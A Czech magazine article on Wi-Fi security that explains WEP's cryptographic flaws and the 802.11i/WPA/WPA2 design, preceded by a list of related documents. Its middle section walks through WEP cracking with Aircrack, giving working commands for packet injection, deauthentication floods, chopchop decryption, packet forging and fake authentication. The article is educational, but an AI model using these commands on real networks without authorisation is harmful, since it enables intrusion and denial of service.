Bezpečnost Wi-Fi WEP, WPA a WPA2



Podobné dokumenty
Analyzátor bezdrátových sítí

UNIVERZITA PARDUBICE. Fakulta elektrotechniky a informatiky. Principy funkce bezdrátových sítí, jejich využití a bezpečnost Michal Mojžíš

ISMS. Autentizace ve WiFi sítích. V Brně dne 5. a 12. prosince 2013

Bezdrátové sítě Wi-Fi Původním cíl: Dnes

Představíme základy bezdrátových sítí. Popíšeme jednotlivé typy sítí a zabezpečení.

ODBORNÝ VÝCVIK VE 3. TISÍCILETÍ

Stručný návod k obsluze Instalace ovladače WLAN USB adaptéru GW- 7200U pro Windows 98SE, ME, 2000 a XP

Cisco Networking Accademy. 7. Bezdrátové sítě (Wireless Networks)

IEEE aneb WiFi

13. přednáška. Zabezpečení datových sítí. Ing. Tomáš Vaněk, Ph.D.

SSL Secure Sockets Layer

9. května menší, než by tomu bylo, pokud by se jednalo o sít bezdrátovou. V tomto okamžiku jsou. blokovat nebo narušit vysílané signály [1].

Mobilita a roaming Možnosti připojení

SPS Úvod Technologie Ethernetu

Uživatelský modul. WiFi STA

5. Zabezpečení Wi-Fi

Stručný návod k obsluze Nainstalujte ovladač GW-7100PCI pro Windows 98, ME, 2000 and XP

Jak na různé WiFi sítě v Linuxu

Úvod Bezpečnost v počítačových sítích Technologie Ethernetu

Standardy e a i

Bezpečnost bezdrátové komunikace 9 Téma číslo 1: bezpečnost 10. Základy bezpečnosti komunikačních sítí 13 Bezpečnost sítě 14 Bezpečnostní politika 15

Zabezpečení bezdrátových sítí IEEE Tomáš Vaněk

Autentizace uživatele připojeného přes 802.1X k přepínači Cisco Catalyst 2900/3550 pomocí služby RADIUS

Desktop systémy Microsoft Windows

Y36PSI IPv6. Jan Kubr - 7_IPv6 Jan Kubr 1/29

DWL-G520 AirPlus Xtreme G 2.4 GHz bezdrátový PCI adaptér

Téma bakalářských a diplomových prací 2014/2015 řešených při

Uživatelská příručka AE6000. Dvoupásmový bezdrátový adaptér Mini USB AC580

Standard IEEE

Projekt IEEE 802, normy ISO 8802

Lekce 6: sítě WLAN II

CCNA I. 3. Connecting to the Network. CCNA I.: 3. Connecting to the network

UKRY - Symetrické blokové šifry

KLASICKÝ MAN-IN-THE-MIDDLE

DWL-G650 AirPlus Xtreme G 2.4 GHz bezdrátový Cardbus adaptér

Topologie počítačových sítí Topologie = popisuje způsob zapojení sítí, jejich architekturu adt 1) Sběrnicová topologie (BUS)

ZPRÁVA O TESTU ZABEZPEČENÍ BEZDRÁTOVÉ SÍTĚ

Šifrování dat, kryptografie

Sítě IEEE (WiFi)

7. Aplikační vrstva. Aplikační vrstva. Počítačové sítě I. 1 (5) KST/IPS1. Studijní cíl. Představíme si funkci aplikační vrstvy a jednotlivé protokoly.

Uživatelský modul. WiFi SSID Switch

Bezpečnostní rizika domácích bezdrátových sítí

SIM karty a bezpečnost v mobilních sítích

Poznámky pro uživatele bezdrátové sítě LAN

Výsledky bezpečnostního auditu TrueCryptu. Ing. Josef Kokeš. CryptoFest 2015

P-334U. Bezdrátový Wi-Fi router kompatibilní s normou a/g. Příručka k rychlé instalaci

Extrémně silné zabezpečení mobilního přístupu do sítě.

ZABEZPEČENÍ BEZDRÁTOVÝCH SÍTÍ IEEE

Bezpečná autentizace přístupu do firemní sítě

Bezpečnostní aspekty informačních a komunikačních systémů KS2

EXTRAKT z české technické normy

Y36PSI Bezpečnost v počítačových sítích. Jan Kubr - 10_11_bezpecnost Jan Kubr 1/41

Bezpečnost bezdrátových sítí

4. Síťová vrstva. Síťová vrstva. Počítačové sítě I. 1 (6) KST/IPS1. Studijní cíl. Představíme si funkci síťové vrstvy a jednotlivé protokoly.

Obsah PODĚKOVÁNÍ...11

Protokoly vrstvy datových spojů LAN Specifikace IEEE 802 pokrývá :

Business Intelligence

VYSOKÉ UČENÍ TECHNICKÉ V BRNĚ

Protokol TELNET. Schéma funkčních modulů komunikace protokolem TELNET. Telnet klient. login shell. Telnet server TCP/IP TCP/IP.

Bezpečnost sítí

Protokol TELNET. Schéma funkčních modulů komunikace protokolem TELNET. Telnet klient. login shell. Telnet server TCP/IP.

Fakulta Elektrotechnická

Seminární práce do předmětu: Bezpečnost informačních systémů. téma: IPsec. Vypracoval: Libor Stránský

POPIS STANDARDU CEN TC278/WG4. 1 z 5. Oblast: TTI. Zkrácený název: Zprávy přes CN 4. Norma číslo:

EUSSO GL Mbps Wireless Network 32-bitový PCMCIA adaptér. Uživatelský manuál

ZÁKLADNÍ ANALÝZA SÍTÍ TCP/IP

Počítačové sítě Implementace RM OSI. Počítačové sítě - Vrstva datových spojů 1

Stručný návod k obsluze Instalace ovladače GW-7100U pod Windows 98, ME, 2000 a XP Instalace obslužného programu pod Windows 98, ME, 2000 and XP

Zkušební provoz wifi sítě na SPŠ a VOŠ Písek

Analýza sítís. Jan Lhoták, VTI 2009/2010

VYSOKÉ UČENÍ TECHNICKÉ V BRNĚ ZABEZPEČENÍ BEZDRÁTOVÝCH SÍTÍ DIPLOMOVÁ PRÁCE FAKULTA ELEKTROTECHNIKY A KOMUNIKAČNÍCH TECHNOLOGIÍ ÚSTAV TELEKOMUNIKACÍ

Inovace bakalářského studijního oboru Aplikovaná chemie

Protokoly: IP, ARP, RARP, ICMP, IGMP, OSPF

TFTP Trivial File Transfer Protocol

metodický list č. 1 Internet protokol, návaznost na nižší vrstvy, směrování

Aktivní prvky: síťové karty

UNIVERZITA PARDUBICE. Fakulta elektrotechniky a informatiky. Bezpečnost Wi-fi sítí Dan Václavek

TECHNICKÁ SPECIFIKACE VEŘEJNÉ ZAKÁZKY

Poznámky pro uživatele bezdrátové sítě LAN

Základy bezdrátového přenosu dat pro plzeňský kraj

Počítačové sítě. Miloš Hrdý. 21. října 2007

Obsah. O autorech 9. Předmluva 13. KAPITOLA 1 Počítačové sítě a Internet 23. Jim Kurose 9 Keith Ross 9

EXTRAKT z mezinárodní normy

T-Mobile Internet. Manager. pro Windows NÁVOD PRO UŽIVATELE

DWL-G122 bezdrátový USB adaptér. Pokud některá z výše uvedených položek chybí, kontaktujte prodejce.

Bezdrátový router 150 Mbit/s Wireless N

Local Interconnect Network - LIN

EXTRAKT z technické normy CEN ISO

Informační a komunikační technologie. 1.7 Počítačové sítě

JAK ČÍST TUTO PREZENTACI

DNSSEC Validátor - doplněk prohlížečů proti podvržení domény

Bezpečnost webových stránek

Abychom se v IPv6 adresách lépe orientovali, rozdělíme si je dle způsobu adresování do několika skupin:

Počítačové sítě. Lekce 4: Síťová architektura TCP/IP

9. Sítě MS Windows. Distribuce Windows. Obchodní označení. Jednoduchý OS pro osobní počítače, pouze FAT, základní podpora peer to peer sítí,

Vysoká škola ekonomická v Praze

ISMS. Síťová bezpečnost. V Brně dne 7. a 14. listopadu 2013

Kryptoanalýza. Kamil Malinka Fakulta informačních technologií. Kryptografie a informační bezpečnost, Kamil Malinka 2008

Bezdrátové sítě (WiFi, Bluetooth, ZigBee) a možnosti jejich implementace.

Základy bezdrátových sítí

Transkript:

Bezpečnost Wi-Fi WEP, WPA a WPA2 Téma čisla Guillaume Lehembre stupeň obtížnosti Wi-Fi (Wireless Fidelity) je jednou z hlavních bezdrátových technologií současnosti. Podpora Wi-Fi se integruje do stále více a více zařízení: notebooků, PDA, mobilních telefonů. Všichni však příliš často nechávají jeden aspekt konfigurace bez povšimnutí a tím je bezpečnost. Podívejme se blíže na úroveň bezpečnosti šifrovacích metod užívaných v moderních implementacích Wi-Fi. I když jsou v zařízeních Wi-Fi aktivována bezpečnostní opatření, obvykle se používá slabý šifrovací protokol, například WEP. V tomto článku prozkoumáme slabá místa protokolu WEP a zjistíme, jak snadné je protokol nabourat. Politováníhodná nedostatečnost protokolu WEP zvýrazňuje potřebu nové bezpečnostní architektury ve formě standardu 802.1i, takže se také podíváme na implementace nového standardu WPA a WPA2 společně s jejich prvními menšími zranitelnostmi a na jejich integraci do operačních systémů. Odpočívej v pokoji WEP WEP (Wired Equivalent Privacy) byl výchozím šifrovacím protokolem, jenž byl poprvé uveden v roce 1999 ve standardu IEEE 802.11. Protokol je založen na principu šifrovacího algoritmu RC4 s tajným klíčem o velikosti 40 nebo 104 bitů kombinovaným s 24bitových inicialiačním vektorem (IV) pro šifrování textové zprávy M a jejího kontrolního součtu ICV (Integrity Check Value). Šifrovaná zpráva C byla proto určena pomocí následujícího vzorce: C = [ M ICV(M) ] + [ RC4(K IV) ] kde představuje operátor zřetězení a + operátor XOR. Klíčem k bezpečnosti WEP je samozřejmě inicializační vektor, takže k udržení přiměřené úrovně zabezpečení a zmenšení možnosti odhalení by měl být IV zvětšen pro každý paket tak, aby se následné pakety šifrovaly odlišnými klíči. IV se bohužel pro bezpečnost protokolu WEP přenáší jako nešifrovaný text a standard 802.11 nenařizuje zvyšování IV, čímž ponechává toto bezpečnostní opatření na volbě jednotlivých implementacích bezdrátových terminálů (přístupových bodech nebo bezdrátových kartách). Z tohoto článku se naučíte... slabá místa šifrování WEP, globální shrnutí standardu 802.11i a jeho komerčních implementací: WPA a WPA2, základy standardu 802.1x, potenciální slabá místa WPA a WPA2. Měl byste vědět... základy TCP/IP a protokolů Wi-FI, měli byste mít základní znalosti o šifrování. 14 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 Obrázek 1. Šifrovací protokol WEP Tabulka 1. Časový přehled zániku WEP Datum Září 1995 Říjen 2000 Květen 2001 Červenec 2001 Srpen 2001 Srpen 2001 Únor 2002 Srpen 2004 Červenec/ Srpen 2004 Popis Potenciální zranitelnost RC4 (Wagner) První publikace na téma zranitelnosti protokolu WEP: Unsafe at any key size; An analysis of the WEP encapsulation (Walker) Induktivní vybraný útok proti WEP/WEP2 (Arbaugh) CRC útok bit flipping Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner) Útoky FMS Weaknesses in the Key Scheduling Algorithm of RC4 (Fluhrer, Mantin, Shamir) Vydání nástroje AirSnort Optimalizované útoky FMS od h1kari Útoky KoreK (jedinečné IV) vydání chopchop a chopper Vydání nástrojů Aircrack (Devine) a WepLab (Sanchez ) implementující útoky KoreK. Krátký pohled do historie protokolu WEP Protokol WEP nevytvořily odborníci na bezpečnost nebo kryptografii, takže rychle prokázal svou zranitelnost vůči problémům RC4, které o čtyři roky dříve popsal David Wagner. V roce 2001 vydali Scott Fluhrer, Itsik Mantin a Adi Shamir (zkráceně FMS) jejich slavnou publikaci o WEP, v níž jsou představeny dvě zranitelná místa v šifrovacím algoritmu RC4: slabé místa invariance a známé útoky IV. Oba útoky se spoléhají na skutečnost, že u určitých hodnot klíčů je možné, aby u bity v počátečních bajtech keystreamu (proudu klíčů) závisely pouze na několika bitech šifrovacího klíče (ačkoli běžně je asi padesátiprocentní pravděpodobnost, že každý proud klíčů bude odlišný od předchozího proudu). Jelikož šifrovací klíč se sestaví zřetězováním tajného klíče s IV, určité hodnoty IV poskytují slabé klíče. Zranitelnosti byly zneužity takovými bezpečnostními nástroji, jako je AirSnort, který umožňuje obnovit klíče WEP analyzováním dostatečného množství síťového provozu. I když by tento typ útoku mohl být v rámci rozumného časového rámce úspěšně proveden na velmi vytížené síti, bylo by potřeba poměrně hodně času na zpracování dat. David Hulton (h1kari) vymyslel optimalizovanou verzi útoků, která bere v úvahu nejenom první bajt výstupu Rc4 (jako v metodě FMS), ale také následující bajty. Tím se snížilo množství dat, které jsou k analýzám potřeba. Řadou slabých míst také trpí fáze kontroly integrity a to kvůli algoritmu CRC32, který se pro tuto úlohu používá. Algoritmus CRC32 běžně slouží pro detekci chyb, avšak nikdy nebyl považován za kryptograficky bezpečný a to v důsledku své lineárnosti, jak uvedli v roce 2001 Nikita Borisov, Ian Goldberg a David Wagner. Poté bylo připuštěno, že protokol WEP poskytuje přijatelnou úroveň bezpečnosti pouze pro domácí uživatele a méně důležité aplikace. S odhalením útoků KoreK v roce 2004 (zobecněné útoky FMS zahrnující optimalizace od h1kari) a invertního induktního útoku Arbaugh, jenž dovoluje dešifrovat libovolné pakety bez znalosti klíče pomocí injektce paketů, však i tuto opatrnou výhradu rozfoukal vítr. Tyto útoky implementují nástroje k nabourávání systémů jako Aircrack od Christophe Devine nebo WepLab od José Ignacio Sánchez, které jsou schopny obnovit 128bitový klíč WEP za méně než 10 minut (nebo nepatrně delší dobu v závislosti na konkrétním přístupovém bodu a bezdrátové kartě). Přidáním injekce paketů se značně zlepšila doba nabourávání WEP. Už nebyly třeba miliony ale pouze tisíce paketů s dostatečným množstvím jedinečných IV kolem 150 000 pro 64bitový klíč WEP a 500 000 pro 128bitový klíč. Díky injekci paketů bylo sesbírání nezbytných dat otázkou minut. V současné době je protokol WEP definitivně mrtev (viz Tabulka 1) a neměl by se používat ani s cyklickým posuvem klíčů. Trhliny v bezpečnosti protokolu WEP lze shrnout následovně: Slabá místa algoritmu RC4 v rámci protokolu WEB kvůli konstrukci klíče, IV jsou příliš krátké (24 bitů pro padesátiprocentní možnost kolize je třeba méně než 5000 paketů) a je dovoleno opětovné použití IV (žádná ochrana proti opakování zprávy), Neexistuje pořádná kontrola integrity (algoritmus CRC32 slouží k detekci chyb a kvůli své lineárnosti není kryptograficky bezpečný), Nemá vestavěnou metodu pro aktualizace klíčů. Nabourání klíče WEP pomocí nástroje Aircrack Praktické nabourání protokolu WEP lze jednoduše znázornit pomocí nástrojů jako například Aircrack (vy- www.hakin9.org hakin9 1/2006 15

Téma čísla Výpis 1. Aktivace monitorovacího režimu # airmon.sh start ath0 Interface Chipset Driver ath0 Atheros madwifi (monitor mode enabled) Výpis 2. Odhalování sousedních sítí a jejich klientů # airodump ath0 wep-crk 0 BSSID PWR Beacons # Data CH MB ENC ESSID 00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo BSSID STATION PWR Packets ESSID 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo tvořený francouzským výzkumníkem bezpečnosti Christophem Devinem). Aircrack obsahuje tři hlavní utility pro tři fáze útoku, jejichž provedení je nezbytné k obnovení klíče: airodump: bezdrátový sniffovací nástroj, který slouží k odhalení sítí WEP, aireplay: injekční nástroj pro zvýšení síťového provozu, aircrack: nástroj na crackování klíčů WEP využívající sesbírané jedinečné IV. V současnosti aireplay podporuje pouze injekce na určitých bezdrátových chipsetech a podpora injekcí v monitorovacím režimu vyžaduje nejnovější záplaty ovladačů. Monitorovací režim odpovídá smíšenému režimu v klasických sítích, který zamezuje zamítnutí paketů, které nejsou určeny pro monitorovacího hostitele (což se obvykle provede na fyzické vrstvě zásobníku modelu OSI) a tudíž umožňuje zachycení všech paketů. Se záplatovanými ovladači se k souběžnému zachycení a injekci síťového provozu vyžaduje pouze jedna bezdrátová karta. Hlavním cílem útoku je vygenerovat provoz za účelem zachycení jedinečných IV používaných mezi oprávněným klientem a přístupovým bodem. Některá šifrovaná data jsou jednoduše rozpoznatelná, protože mají pevnou délku, pevnou adresu určení atd. To je případ paketů požadavku ARP (viz Rameček Požadavek ARP), které se zasílají na vysílací adresu (FF:FF:FF:FF:FF:FF) a mají pevnou délku 68 oktetů. Pro generováních nových ARP odezev od legitimního hostitele lze požadavky ARP opakovat (replay), čímž se stejné bezdrátové zprávy šifrují pomocí nových IV. V následujících příkladech je 00: 13:10:1F:9A:72 MAC adresa přístupového bodu (BSSID) na kanálu 1 s identfikátorem SSID hakin9demo a 00:09:5B:EB:C5:2B je MAC adresa bezdrátového klienta (který v závislosti na daném případu používá protokol WEP nebo WPA-PSK). K provádění sniffovacích příkazů je třeba mít oprávnění uživatele root. Nejprve je nutné aktivovat na bezdrátové kartě (v našem případě jde o model založený na Atheros) monitorovací režimu, abychom mohli získat veškerý provoz (viz Výpis 1). V dalším kroku je třeba skenováních všech čtrnácti kanálů, které mohou sítě Wi-Fi používat, odhalit sousední sítě a jejich klienty (viz Výpis 2). Výsledek uvedený na Výpisu 2 lze interpretovat následovně: s touto bezdrátovou síti je asociován a autentizován přístupový bod s BS- SID 00:13:10:1F:9A:72 využívající šifrování protokolu WEP na kanálu 1 s identifikátorem SSID hakin9demo a klient identifikovaný pomocí MAC 00:0C:F1:19:77:5C. Po nalezení cílové sítě by se mělo zahájit zachytávání na správném kanálu, abychom při skenování jiných kanálů nepřišli o nějaké pakety. Následující příkaz vytvoří tentýž výstup jako předchozí příkaz: # airodump ath0 wep-crk 1 Požadavek ARP ARP (Address Resolution Protocol RFC826) slouží k překladu 32bitové IP adresy na 48bitovou ethernetovou adresu (sítě Wi-FI rovněž využívají protokol Ethernet). Jednoduše řečeno, když počítač A (192.168.1.1) chce komunikovat s počítačem B (192.168.1.2), známá IP adresa se musí za pomoci protokolu ARP přeložit na adresu MAC. Proto počítač A zašle vysílací zprávu obsahují IP adresu počítače B (Who has 192.168.1.2? Tell 192.168.1.1). Cílový počítač rozpozná, že IP adresa v paketu odpovídá jeho vlastní adrese a zašle odpověď (192.168.1.2 is at 01: 23:45:67:89:0A). Odezva se většinou ukládá do paměti cache. Dříve sesbírané informace můžete pomocí nástroje aireplay dále použít k injekci síťového provozu. Injekce začne, když se na bezdrátové síti objeví zachycený požadavek ARP asociovaný k cílovému BSSID: # aireplay -3 \ -b 00:13:10:1F:9A:72 \ -h 00:0C:F1:19:77:5C \ -x 600 ath0 (...) Read 980 packets (got 16 ARP requests), sent 570 packets... Nakonec se nástroj aircrack používá k obnovení klíče WEP. Tento poslední krok je možné díky souboru pcap spustit, zatímco nástroj airodump stále zachytává data (výsledky viz Obrázek 2): # aircrack -x -0 wep-crk.cap Další typy útoků Aircrack Aircrack rovněž umožňuje provést jiné zajímavé typy útoků. Na některé z nich se nyní podíváme. Útok 2: Deautentizace Tento útok lze používat k obnovení skrytého SSID (tedy takového SSID, které se nepřenáší), zachycení 4-fázového handshake WPA nebo vynucení odmítnutí služby DoS (více se 16 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 o tom dočtete dále v sekci o 802.11i). Záměrem útoku je přinutit klienta k opětovné autentizaci, což ve spojení s nedostatečnou autentizací pro ovládání rámců (užívanou k autentizaci, asociaci a podobně) umožňuje útočníkovi spoofovat MAC adresy. Bezdrátový klient může být deautentizován pomocí následujícího příkazu způsobujícího prostřednictvím spoofingu BSSID deautentizaci paketů, která se mají odeslat z BSSID na klienta MAC: # aireplay -0 5 -a 00:13:10:1F:9A:72 -c 00:0C:F1:19:77:5C ath0 Obrázek 2. Výsledky nástroje Aicrack po několika minutách Rovněž lze provádět hromadnou deautentizaci (i když není vždy spolehlivá). Hromadná deautentizace spočívá v tom, že útočník nepřetržitě spoofuje BSSID a opakovaně posílá na vysílací adresu deautentizační paket: # aireplay -0 0 -a 00:13:10:1F:9A:72 ath0 Útok 3: Dešifrování libovolných datových paketů WEP bez znalosti klíče Tento útok je založen na nástroji s názvem chopchop, který prokazuje princip KoreK. Při útoku je možné dešifrovat pakety WEP bez znalosti klíče. Kontrola integrity implementovaná v protokolu WEP umožňuje útočníkovi upravit jak šifrovaný paket, tak jeho odpovídající algoritmus CRC. Mimoto použití operátoru XOR v protokolu WEP znamená, že vybraný bajt v šifrované zprávě vždy závisí na tomtéž bajtu nešifrované zprávy. Pokud se tedy poslední bajt šifrované zprávy oddělí, zpráva se sice poruší, ale rovněž tím lze uhodnout hodnotu odpovídajícího nešifrovaného bajtu a podle toho šifrovanou zprávu opravit. Je-li poté opravený paket znovu zaveden na síť, přístupový bod ho odstraní, když se domnívá, že byl chybný (v tomto případě je třeba provést nový odhad), ale správný odhad bude jako obvykle přenesen. Opakováním útoku pro všechny bajty zprávy lze dešifrovat paket WEP a obnovit proud klíčů. Pamatujete si, že zvyšování IV není v protokolu WEP povinné, takže tento proud klíčů je možné znovu použít ke spoofování následných paketů (opětovným použitím stejného IV). Bezdrátová karta musí být přepnuta na monitorovací režim na správném kanálu (popis, jak to udělat, viz předchozí příklad). Útok musí být spuštěn proti legitimnímu klientovi (v našem případě se stále jedná o 00:0C:F1:19:77:5C). Nástroj airplay vyzve útočníka, aby přijal každý šifrovaný paket (viz Výpis 3). Vytvoří se dva soubory pcap: jeden soubor pro nešifrovaný paket a druhý soubor pro jeho odpovídající proud klíče. Výsledný soubor lze převést do čitelného tvaru pomocí vhodného čtecího nástroje (my používáme cpdump) příklad výměny ping mezi počítači viz Výpis 4. Po zachycení proudu klíčů je možné zfalšoval libovolný paket. Dále uvádíme spoofovaný požadavek ARP zaslaný počítačem 192.168.2.123 (00:0C:F1:19:77:5C) na 192.168.2.103: # arpforge \ replay_dec-0916-114019.xor \ 1 \ 00:13:10:1F:9A:72 \ 00:0C:F1:19:77:5C \ 192.168.2.123 \ 192.168.2.103 \ forge-arp.cap Nakonec se použije nástroj aireplay k opakování tohoto paketu (viz Výpis 5). Tato metoda je méně automatizované než vlastní spoofování požadavku ARP (volba -1), ale je škálovatelnější útočník může pomocí odhaleného proudu klíčů falšovat libovolné pakety, které nejsou delší než proud klíčů (jinak se musí proud klíčů rozšířit). Útok 4: Falešná autentizace Dříve popsaná metoda crackování klíče WEP (útok 1 a 3) vyžaduje legitimního klienta (skutečného nebo virtuálního, ačkoli lepší je skutečný klient) asociovaného k přístupovému bodu pro zajištění, že přístupový bod nevyřadí pakety kvůli neasociované adrese určení. Používá-li se otevřená autentizace, lze autentizovat a asociovat k přístupovému bodu jakéhokoli klienta. Přístupový bod však vyřadí jakékoli pakety, které nejsou šifrovány správným klíčem WEP. V příkladu na Výpisu 6 se ke zfalšování autentizačního a asociačního požadavku na SSID hakin9demo (BSSID: 00: 13:10:1F:9A:72) pomocí spoofované adresy MAC 0:1:2:3:4:5 používá nástroj Aireplay. Některé přístupové body vyžadují, aby se klienti každých 30 sekund znovu asociovali. Takové chování lze v aireplay napodobit nahrazením druhé volby (0) za 30. www.hakin9.org hakin9 1/2006 17

Téma čísla Výpis 3. Dešifrování paketů WEP bez znalosti klíče # aireplay -4 -h 00:0C:F1:19:77:5C ath0 Read 413 packets... Size: 124, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = 00:13:10:1F:9A:70 Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 d500 0013 101f 9a72 000c f119 775c.A...r...w\ 0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c...p.@..., 0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..gz.[v 0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c.x...0...hV.Sl 0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pf_..k...j.4wt. 0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6...5#.U...[. 0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1.+>.[...";.d7... 0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;...C...Q` Use this packet? y Saving chosen packet in replay_src-0916-113713.cap Offset 123 ( 0% done) xor = 07 pt = 67 373 frames written in 1120ms Offset 122 ( 1% done) xor = 7D pt = 2C 671 frames written in 2013ms (...) Offset 35 (97% done) xor = 83 pt = 00 691 frames written in 2072ms Offset 34 (98% done) xor = 2F pt = 08 692 frames written in 2076ms Saving plaintext in replay_dec-0916-114019.cap Saving keystream in replay_dec-0916-114019.xor Completed in 183s (0.47 bytes/s) Výpis 4. Čtení souboru pcap z útoku # tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) 11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254: ICMP echo request, id 23046, seq 1, length 64 Výpis 5. Opakování zfalšovaného paketu # aireplay -2 -r forge-arp.cap ath0 Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:13:10:1F:9A:72 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0C:F1:19:77:5C 0x0000: 0841 0201 0013 101f 9a72 000c f119 775c.A...r...w\ 0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c..., 0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF... 0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a..S.o-...3..Q. 0x0040: 49b7 52da I.R. Use this packet? y Saving chosen packet in replay_src-0916-124231.cap You must also start airodump to capture replies. Sent 1029 packets... Výpis 6. Falšování autentizace # aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 18:30:00 Sending Authentication Request 18:30:00 Authentication successful 18:30:00 Sending Association Request 18:30:00 Association successful 802.11i V lednu roku 2001 byla v institutu IEEE sestavena úkolová skupina i za účelem zlepšení autentizace dat standardu 802.11 a bezpečnosti šifrování. Jako reakci na korporátní zájem o bezdrátovou bezpečnost vydala Wi- -Fi Alliance (asociace pro propagaci a certifikaci Wi-Fi) v dubnu roku 2003 doporučení. Rovněž si však byly vědomi, že zákazníci by si nebyli ochotni vyměnit své stávající zařízení. V červnu 2004 bylo schváleno konečné vydání standardu 802.11i, který dostal od asociace Wi-Fi Alliance komerční název WPA2. Standard IEEE 802.11i přinesl takové základní změny jako oddělovaní autentizace uživatele od vynucování integrity a soukromí zprávy, tudíž poskytuje stabilní a škálovatelnou bezpečnostní architekturu vhodnou nejen pro domácí sítě ale i velké podnikové systémy. Nová architektura pro bezdrátové sítě nese označení RSN (Robust Security Network) a používá autentizaci 802.1X, silnou distribuci klíčů a nové mechanismy k zajištění integrity a soukromí. I když architektura RSN je složitější, nabízí bezpečná a škálovatelná řešení pro bezdrátovou komunikaci. Ve většině případech akceptuje RSN pouze zařízení s podporou RSN, nicméně IEEE 802.11i definuje také architekturu TSN (Transitional Security Network), do které lze zahrnout jak systémy RSN, tak systémy WEP, což umožní uživatelům včas aktualizovat své zařízení Pokud procedura autentizace nebo asociace použitá mezi stanice využívá 4-fázový handshake, asociace se označuje jako RSNA (Robust Security Network Association). Sestavení bezpečného komunikačního kontextu se skládá ze čtyř fázi (viz Obrázek 4): odsouhlasení bezpečnostních zásad, autentizace 802.1X, odvozování a distribuce klíče utajení a integrita dat RSNA Fráze 1: Odsouhlasení bezpečnostních zásad První fáze vyžaduje, aby se komunikující strany dohodli na bezpečnostních 18 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 První fáze je znázorněna na Obrázku 5. Obrázek 3. Model IEEE 802.1X ze specifikace IEEE 802.1X zásadách, které budou používat. Bezpečnostní zásady podporované přístupovým bodem jsou oznámeny ve zprávě Beacon nebo Probe Respond (následující Probe Request od klienta). Poté následuje standardní otevřená autentizace (stejně jako v sítích TSN, kde je autentizace vždy úspěšná). Odezva klienta je obsažena ve zprávě Association Request, jejíž platnost je ověřeně pomocí Association Response z přístupového bodu. Informace o bezpečnostní zásadě se zašlou v poli RSN IE (Information Element) a popisují: podporované autentizační metody (802.1X, PSK (Pre-Shared Key)), bezpečnostní protokoly pro provoz dílčího vysílání unicast (CCMP, TKIP a podobně) sada šifer po dvojicích bezpečnostní protokoly pro provoz skupinového vysílání multicast (CCMP, TKIP a podobně) skupinová sada šifer, podporu před-autentizace, která v rámci hladkého předání umožňuje uživatelům provést před- -autentizaci před přepnutím na přístupový bod stejné sítě. Fáze 2: autentizace 802.1X Druhou fází je autentizacace 802.1X založená na protokolu EAP a dříve odsouhlasené specifické autentizační metodě: EAP/TLS s certifikáty klienta a serveru (vyžadující infrastrukturu veřejného klíče), EAP/TTLS nebo PEAP pro hybridní autentizaci (s certifikáty vyžadovanými pouze pro servery) a tak dále. Autentizace 802.1X se zahájí, když si přístupový bod vyžádá údaje o identitě klienta s odezvou klienta obsahující upřednostňovanou autentizační metodu. Poté proběhne výměna vyhovujících zpráv mezi klientem a autentizačním serverem, aby se vygeneroval společný master klíč (MK). Na konci procedury se z autentizačního serveru na přístupový bod zašle zpráva Radius Accept obsahující MK a konečnou zprávu EAP Success pro klienta. Tato druhá fáze je znázorněna na Obrázku 6. Fáze 3: Hierarchie klíče a distribuce Bezpečnost připojení značně závisí na bezpečnosti klíčů. V RSN má každý klíč omezenou životnost a celková bezpečnost se zajišťuje pomocí IEEE 802.1X a EAP Autentizační protokol IEEE 802.1X (rovněž známý jako Port- -Based Network Access Control) představuje rámec vyvinutý, původně určený pro klasické sítě, který poskytuje mechanismy pro distribuci klíčů, autentizaci a autorizaci. Dále implementuje řízení přístupu pro uživatele, kteří se připojují na síť. Architekturu IEEE 802.1X tvoří tři funkční entity: supplicant připojení k síti, autentizátor zajišťující řízení přístupu, autentizační server provádějící autorizační rozhodnutí. V bezdrátových sítí plní funkci autentizační autority přístupový bod. Každý fyzický port (virtuální port v klasických sítích) se dělí na dvě logické části vytvářející PEA (Port Access Entity). Autentizace PAE je vždy otevřená a umožňuje autentizační rámce, kdežto služba PAE je otevřena pouze po úspěšné autentizaci (tj. v autorizovaném stavu) po omezenou dobu (standardně 3 600 sekund). Rozhodnutí povolit přístup je obvykle provedeno třetí entitou, konkrétně autentizačním serverem (kterým může být buďto vyhrazený server Radius nebo například v domácích sítích jednoduchý proces běžící na přístupovém bodu). Jak tyto entity komunikují znázorňuje Obrázek 3. Standard 802.11i provádí malé změny k IEEE 802.1X pro bezdrátové sítě, aby zodpovídal za možnost krádeže identity. V rámci zajištění, aby jak supplicant, tak autentizátor před zpřístupnění sítě vypočítaly své tajné klíče a aktivovaly šifrování, byla začleněna autentizace zprávy. Komunikace supplicanta a autentizátora probíhá prostřednictvím protokolu založeném na EAP. Všimněte si, že úloha autentizátoru je v podstatě pasivní může jednoduše předat autentizačnímu serveru všechny zprávy. 